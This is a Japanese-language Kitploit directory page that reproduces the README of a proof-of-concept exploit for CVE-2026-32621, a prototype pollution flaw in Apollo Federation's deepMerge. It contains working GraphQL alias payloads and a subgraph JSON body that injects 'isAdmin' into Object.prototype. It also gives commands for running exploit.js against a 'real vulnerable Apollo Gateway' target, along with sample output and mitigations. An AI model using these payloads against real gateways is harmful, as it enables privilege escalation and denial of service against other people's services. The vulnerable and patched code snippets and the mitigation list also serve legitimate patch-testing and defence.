Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — CVE-2026-32621 の PoC エクスプロイト。巧妙に細工された GraphQL エイリアスを介して Apollo Federation の deepMerge プロトタイプ汚染を実証し、パッチ適用済みバージョンのテストを含みます。 | Kitploit
ツール/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティ
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

CVE-2026-32621 の PoC エクスプロイト。巧妙に細工された GraphQL エイリアスを介して Apollo Federation の deepMerge プロトタイプ汚染を実証し、パッチ適用済みバージョンのテストを含みます。

リポジトリを見る
402ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-32621 - Apollo Federation プロトタイプ汚染 PoC

概要

フィールド値
CVECVE-2026-32621
CVSS9.9 Critical
CWECWE-1321 (Prototype Pollution)
影響を受けるバージョンApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
パッチ適用済みバージョン2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

脆弱性の説明

Apollo Federation の deepMerge 関数(@apollo/query-planner と @apollo/gateway がクエリプラン実行中にサブグラフのレスポンスをマージするために使用)は、target[key] にアクセスする前にキーのサニタイズを行いません。

ソースオブジェクトが __proto__ を独自プロパティとして保持している場合(JSON.parse が生成するケース)、Object.keys() はそれを返し、target["__proto__"] はプロトタイプチェーンを経由して Object.prototype に解決されます。その後、マージ処理はプロパティを直接 Object.prototype に書き込み、Node.js プロセス全体のグローバルプロトタイプチェーンを汚染します。

根本原因

// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

攻撃ベクトル

1. クライアント側(悪意のある GraphQL クエリ)

クライアントが __proto__、constructor、prototype という名前のフィールドエイリアスを含む GraphQL クエリを送信します。ゲートウェイがレスポンスを処理する際、deepMerge はこれらのエイリアスをキーとして使用し、Object.prototype を汚染します。

query {
  __proto__: products {
    polluted: id
  }
}

2. サブグラフ側(侵害されたサブグラフ)

侵害されたサブグラフが __proto__ キーを含む JSON を返します。ゲートウェイが deepMerge でレスポンスをマージすると、Object.prototype が汚染されます。

{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. ネストされたチェーン

query {
  constructor: products {
    prototype: id
  }
}

影響

  • 権限昇格: isAdmin、role、permissions プロパティを注入
  • サービス不能(DoS): toString、valueOf を null または破損した関数で上書き
  • データ整合性の破壊: ビジネスロジックに影響を与えるプロパティを注入
  • 永続性: 汚染はゲートウェイインスタンスへの後続のすべてのリクエストに影響
  • リクエスト間波及: 攻撃後の任意のリクエストが汚染されたプロトタイプを参照

ドキュメント

ドキュメント内容
USAGE.mdステップバイステップの詳細な使用ガイド
DIAGRAM.md構造図と攻撃フローの可視化

ファイル

| ファイル | 目的 |

|------|---------| | exploit.js | 5つの攻撃ベクトルとローカルデモを含むメインエクスプロイト | | test_exploit.js | ユニットテスト(汚染とパッチを検証する15テスト) | | e2e_test.js | エンドツーエンド検証(10テスト:ゲートウェイ + エクスプロイト + 検証) | | setup_vulnerable.js | テスト用の脆弱なゲートウェイシミュレータ |

使用方法

クイックスタート(ローカルデモ)

# ローカルの deepMerge 脆弱性デモを実行
node exploit.js

これは、実行中のゲートウェイを必要とせずに、正確な脆弱性コードパスを実証します。

フルエクスプロイト(脆弱なゲートウェイを使用)

# ターミナル1: 脆弱なゲートウェイシミュレータを起動
node setup_vulnerable.js 4000

# ターミナル2: ゲートウェイに対してエクスプロイトを実行
node exploit.js -u http://localhost:4000/graphql

テストの実行

# ユニットテスト(15テスト)
node test_exploit.js

# エンドツーエンドテスト(10テスト - ゲートウェイを起動し、エクスプロイトを送信し、汚染を検証)
node e2e_test.js

実環境の Apollo Gateway に対するエクスプロイト

# 実際の脆弱な Apollo Gateway インスタンスを標的とする
node exploit.js -u http://target-gateway:4000/graphql

出力例

======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

攻撃チェーン図

Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

完全なアーキテクチャ図については DIAGRAM.md を参照してください。

緩和策

  1. アップグレード: パッチ適用済みバージョン 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2 に更新する
  2. 入力フィルタリング: フィールドエイリアスと変数名に __proto__、constructor、prototype を含む GraphQL 操作をブロックする
  3. サブグラフの信頼: すべてのサブグラフが信頼できるソースからのものであることを確認する
  4. Object.create(null): 可能な場合は null プロトタイプオブジェクトを使用する

参考情報

  • NVD Entry
  • GitHub Advisory GHSA-pfjj-6f4p-rvmh
  • Apollo Federation Security Advisory
  • CWE-1321

ライセンス

MIT

ツールをダウンロード